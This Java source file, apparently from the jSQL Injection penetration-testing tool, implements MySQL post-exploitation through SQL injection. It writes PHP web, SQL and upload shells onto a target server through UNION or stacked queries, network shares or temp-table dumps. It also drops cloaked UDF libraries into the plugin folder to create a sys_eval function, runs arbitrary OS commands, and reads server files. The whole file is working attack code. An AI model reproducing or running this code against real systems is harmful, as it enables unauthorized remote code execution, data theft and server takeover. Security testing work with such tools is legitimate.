1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ExploitMode;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.model.bean.util.Interaction;
10 import com.jsql.model.bean.util.Request;
11 import com.jsql.model.exception.AbstractSlidingException;
12 import com.jsql.model.exception.JSqlException;
13 import com.jsql.model.exception.JSqlRuntimeException;
14 import com.jsql.model.injection.vendor.model.VendorYaml;
15 import com.jsql.model.suspendable.SuspendableGetRows;
16 import com.jsql.util.LogLevelUtil;
17 import com.jsql.util.StringUtil;
18 import org.apache.commons.codec.binary.Hex;
19 import org.apache.commons.lang3.RandomStringUtils;
20 import org.apache.commons.lang3.StringUtils;
21 import org.apache.logging.log4j.LogManager;
22 import org.apache.logging.log4j.Logger;
23 import org.yaml.snakeyaml.Yaml;
24
25 import java.io.*;
26 import java.net.http.HttpResponse;
27 import java.nio.charset.StandardCharsets;
28 import java.nio.file.Files;
29 import java.nio.file.Path;
30 import java.nio.file.Paths;
31 import java.util.List;
32 import java.util.Objects;
33 import java.util.UUID;
34 import java.util.function.BiPredicate;
35 import java.util.function.BinaryOperator;
36
37 public class ExploitMysql {
38
39 private static final Logger LOGGER = LogManager.getRootLogger();
40 public static final String NAME_TABLE = "temp";
41 private final InjectionModel injectionModel;
42 private final ModelYamlMysql modelYaml;
43
44 private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
45 try {
46 return this.buildSysEval(nameLibraryRandom);
47 } catch (JSqlException e) {
48 throw new JSqlRuntimeException(e);
49 }
50 };
51
52 public ExploitMysql(InjectionModel injectionModel) {
53 this.injectionModel = injectionModel;
54 var yaml = new Yaml();
55 this.modelYaml = yaml.loadAs(
56 injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
57 ModelYamlMysql.class
58 );
59 }
60
61 public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
62 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
63
64 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65 var request = new Request();
66 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
67 request.setParameters(urlSuccess);
68 this.injectionModel.sendToViews(request);
69 return urlSuccess;
70 };
71 return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
72 }
73
74 public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
75 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
76 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
77 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
78 var request = new Request();
79 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
80 request.setParameters(urlSuccess, username, password);
81 this.injectionModel.sendToViews(request);
82 return urlSuccess;
83 }
84 return StringUtils.EMPTY;
85 };
86 var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
87 if (StringUtils.isEmpty(urlSuccess)) {
88 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
89 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
90 }
91 if (StringUtils.isEmpty(urlSuccess)) {
92 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
93 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
94 }
95 if (StringUtils.isEmpty(urlSuccess)) {
96 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
97 }
98 return urlSuccess;
99 }
100
101 public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
102 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
103 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
104 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
105 if (result.body().contains(DataAccess.LEAD +"y")) {
106 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
107 } else {
108 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
109 }
110 } catch (InterruptedException e) {
111 LOGGER.log(LogLevelUtil.IGNORE, e, e);
112 Thread.currentThread().interrupt();
113 } catch (IOException | JSqlException e) {
114 throw new JSqlRuntimeException(e);
115 }
116 return urlSuccess;
117 };
118 this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
119 }
120
121
122
123
124
125 public String create(
126 String pathRemoteFolder,
127 String urlExploit,
128 String keyPropertyExploit,
129 String nameExploit,
130 BinaryOperator<String> biFuncGetRequest,
131 String pathNetshareFolder,
132 ExploitMode exploitMode
133 ) throws JSqlException {
134 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
135 return null;
136 }
137
138 String bodyExploit = StringUtil.base64Decode(
139 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
140 )
141 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
142 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
143
144
145 BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
146 try {
147 String resultInjection = this.confirm(pathFolder + nameFile);
148 return resultInjection.contains(bodyExploit);
149 } catch (JSqlException e) {
150 throw new JSqlRuntimeException(e);
151 }
152 };
153
154 var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
155 String nameExploitValidated = StringUtils.EMPTY;
156
157 if (exploitMode == ExploitMode.NETSHARE) {
158 ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
159 nameExploitValidated = this.byNetshare(
160 nbIndexesPrefix,
161 pathNetshareFolder,
162 nameExploit,
163 pathRemoteFolder,
164 biPredConfirm
165 );
166 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
167 nameExploitValidated = this.byQueryBody(
168 nbIndexesPrefix,
169 pathRemoteFolder,
170 nameExploit,
171 StringUtil.toHexChunks(bodyExploit.getBytes()),
172 biPredConfirm
173 );
174 }
175 if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
176 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
177 this.byTable(
178 StringUtil.toHexChunks(bodyExploit.getBytes()),
179 pathRemoteFolder + nameExploitRandom
180 );
181 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
182 nameExploitValidated = nameExploitRandom;
183 }
184 }
185
186 if (StringUtils.isEmpty(nameExploitValidated)) {
187 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
188 return null;
189 }
190 nameExploit = nameExploitValidated;
191 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
192
193 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
194 }
195
196 public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
197 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
198
199 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
200 return;
201 }
202
203 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
204 var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
205 if (StringUtils.isEmpty(pathPlugin)) {
206 throw new JSqlException("Incorrect plugin folder: path is empty");
207 }
208
209 String nameLibrary = this.getNameLibrary();
210
211 pathPlugin = pathPlugin.replace("\\", "/");
212 if (!pathPlugin.endsWith("/")) {
213 pathPlugin = String.format("%s%s", pathPlugin, "/");
214 }
215
216 if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
217 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
218 }
219 String isSuccess = StringUtils.EMPTY;
220 if (exploitMode == ExploitMode.NETSHARE) {
221 if (!pathNetshareFolder.endsWith("\\")) {
222 pathNetshareFolder += "\\";
223 }
224 ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
225 isSuccess = this.byNetshare(
226 nbIndexesFound,
227 pathNetshareFolder,
228 nameLibrary,
229 pathPlugin,
230 this.biPredCreateUdf
231 );
232 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
233 if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
234 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
235 }
236 isSuccess = this.byQueryBody(
237 nbIndexesFound,
238 pathPlugin,
239 nameLibrary,
240 ExploitMysql.toHexChunks(nameLibrary),
241 this.biPredCreateUdf
242 );
243 }
244 if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
245 var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
246 this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
247 this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
248 }
249 }
250
251 private String getNameLibrary() throws JSqlException {
252 var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
253 if (StringUtils.isEmpty(versionOsMachine)) {
254 throw new JSqlException("Incorrect remote machine: unknown system");
255 }
256 var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
257 String nameLibrary;
258 if (versionOsMachine.contains("64")) {
259 nameLibrary = isWin ? "64.dll" : "64.so";
260 } else {
261 nameLibrary = isWin ? "32.dll" : "32.so";
262 }
263 return nameLibrary;
264 }
265
266 public String byQueryBody(
267 int nbIndexesPrefix,
268 String pathRemoteFolder,
269 String nameExploit,
270 List<String> hexChunks,
271 BiPredicate<String, String> biPredConfirm
272 ) {
273 String nameExploitValidated = StringUtils.EMPTY;
274 var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
275
276 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
277 int countUnionIndex = this.injectionModel.getMediatorUtils().getPreferencesUtil().isLimitingUnionIndex()
278 ? this.injectionModel.getMediatorUtils().getPreferencesUtil().countUnionIndex()
279 : 15;
280 for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
281 int finalI = i;
282 LOGGER.log(
283 LogLevelUtil.CONSOLE_DEFAULT,
284 "Checking file write with [union select {}fileBody]",
285 () -> "'',".repeat(finalI)
286 );
287 this.injectionModel.injectWithoutIndex(String.format(pattern,
288 "and 1=2 union",
289 "'',".repeat(i),
290 String.join(StringUtils.EMPTY, hexChunks),
291 pathRemoteFolder + nameExploitRandom
292 ), "body#union-dump");
293 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
294 nameExploitValidated = nameExploitRandom;
295 break;
296 } else if (nbIndexesPrefix > -1) {
297 break;
298 }
299 }
300 if (StringUtils.isEmpty(nameExploitValidated)) {
301 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
302 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
303 this.injectionModel.injectWithoutIndex(String.format(pattern,
304 ";",
305 StringUtils.EMPTY,
306 String.join(StringUtils.EMPTY, hexChunks),
307 pathRemoteFolder + nameExploitRandom
308 ), "body#stack-dump");
309 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
310 nameExploitValidated = nameExploitRandom;
311 }
312 }
313 return nameExploitValidated;
314 }
315
316 public String byNetshare(
317 int nbIndexesPrefix,
318 String pathNetshareFolder,
319 String nameExploit,
320 String pathRemoteFolder,
321 BiPredicate<String, String> biPredConfirm
322 ) {
323 String nameExploitValidated = StringUtils.EMPTY;
324 var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
325 var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
326
327 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
328 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
329 this.injectionModel.injectWithoutIndex(String.format(pattern,
330 "and 1=2 union",
331 "'',".repeat(nbIndexesPrefix),
332 pathShareEncoded + nameExploit,
333 pathRemoteFolder + nameExploitRandom
334 ), "netshare#union");
335 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
336 nameExploitValidated = nameExploitRandom;
337 }
338 if (StringUtils.isEmpty(nameExploitValidated)) {
339 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
340 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
341 this.injectionModel.injectWithoutIndex(String.format(pattern,
342 ";",
343 StringUtils.EMPTY,
344 pathShareEncoded + nameExploit,
345 pathRemoteFolder + nameExploitRandom
346 ), "netshare#stack");
347 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
348 nameExploitValidated = nameExploitRandom;
349 }
350 }
351 return nameExploitValidated;
352 }
353
354 public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
355 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
356 var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
357 if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
358 nameDatabase = "mysql";
359 }
360 var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);
361 var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
362 this.injectionModel.injectWithoutIndex(String.format(
363 this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
364 nameSchemaTable
365 ), ResourceAccess.TBL_DROP);
366 var countResult = this.getCountTable(nameDatabase, nameTableRandom);
367 if (!"0".equals(countResult)) {
368 throw new JSqlException("Drop table failure: "+ countResult);
369 }
370 this.injectionModel.injectWithoutIndex(String.format(
371 this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
372 nameSchemaTable
373 ), ResourceAccess.TBL_CREATE);
374 countResult = this.getCountTable(nameDatabase, nameTableRandom);
375 if (!"1".equals(countResult)) {
376 throw new JSqlException("Create table failure: "+ countResult);
377 }
378 int indexChunk = 0;
379 for (String chunk: bodyHexChunks) {
380 if (indexChunk == 0) {
381 this.injectionModel.injectWithoutIndex(String.format(
382 this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
383 nameSchemaTable,
384 chunk
385 ), "tbl#init");
386 } else {
387 this.injectionModel.injectWithoutIndex(String.format(
388 this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
389 nameSchemaTable,
390 chunk
391 ), ResourceAccess.TBL_FILL);
392 }
393 indexChunk++;
394 }
395 this.injectionModel.injectWithoutIndex(String.format(
396 this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
397 nameSchemaTable,
398 pathRemoteFile
399 ), ResourceAccess.TBL_DUMP);
400 }
401
402 private String getCountTable(String nameDatabase, String nameTableRandom) {
403 try {
404 return this.injectionModel.getResourceAccess().getResult(String.format(
405 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
406 nameTableRandom,
407 nameDatabase
408 ), "tbl#check");
409 } catch (JSqlException e) {
410 return e.getMessage();
411 }
412 }
413
414 private boolean buildSysEval(String nameLibrary) throws JSqlException {
415 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
416 this.injectionModel.injectWithoutIndex(String.format(
417 this.modelYaml.getUdf().getAddFunction().getCreate(),
418 nameLibrary
419 ), "udf#function");
420 var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
421 if (!confirm.contains("sys_eval")) {
422 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
423 return false;
424 }
425 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
426
427 var request = new Request();
428 request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_MYSQL);
429 request.setParameters(null, null);
430 this.injectionModel.sendToViews(request);
431 return true;
432 }
433
434 public String confirm(String path) throws JSqlException {
435 var sourcePage = new String[]{ StringUtils.EMPTY };
436 return new SuspendableGetRows(this.injectionModel).run(
437 this.modelYaml.getFile().getRead().replace(
438 VendorYaml.FILEPATH_HEX,
439 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
440 ),
441 sourcePage,
442 false,
443 1,
444 MockElement.MOCK,
445 "xplt#confirm-file"
446 );
447 }
448
449 public String runRceCmd(String command, UUID uuidShell) {
450 String result;
451 try {
452 result = this.injectionModel.getResourceAccess().getResult(String.format(
453 this.modelYaml.getUdf().getRunCmd(),
454 command.replace(StringUtils.SPACE, "%20")
455 ), "udf#run-cmd") +"\n";
456 } catch (JSqlException e) {
457 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
458 }
459 var request = new Request();
460 request.setMessage(Interaction.GET_TERMINAL_RESULT);
461 request.setParameters(uuidShell, result);
462 this.injectionModel.sendToViews(request);
463 return result;
464 }
465
466 public String getRead(String pathFile) throws AbstractSlidingException {
467 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
468 return new SuspendableGetRows(this.injectionModel).run(
469 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
470 VendorYaml.FILEPATH_HEX,
471 Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
472 ),
473 new String[]{ StringUtils.EMPTY },
474 false,
475 1,
476 MockElement.MOCK,
477 ResourceAccess.FILE_READ
478 );
479 }
480
481 private static List<String> toHexChunks(String filename) throws JSqlException {
482 try {
483 byte[] fileData = ExploitMysql.uncloak(filename);
484 return StringUtil.toHexChunks(fileData);
485 } catch (IOException e) {
486 throw new JSqlException(e);
487 }
488 }
489
490 private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
491 try {
492 byte[] fileData = ExploitMysql.uncloak(nameLibrary);
493 Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
494 try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
495 stream.write(fileData);
496 }
497 } catch (IOException e) {
498 throw new JSqlException(e);
499 }
500 }
501
502 private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
503 Path path = Paths.get(pathFile);
504 try {
505 Files.write(path, bodyExploit.getBytes());
506 } catch (IOException e) {
507 throw new JSqlException(e);
508 }
509 }
510
511 private static byte[] uncloak(String nameLibrary) throws IOException {
512 byte[] fileData = Objects.requireNonNull(
513 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
514 ).readAllBytes();
515 fileData = StringUtil.uncloak(fileData);
516 return fileData;
517 }
518
519 public ModelYamlMysql getModelYaml() {
520 return this.modelYaml;
521 }
522 }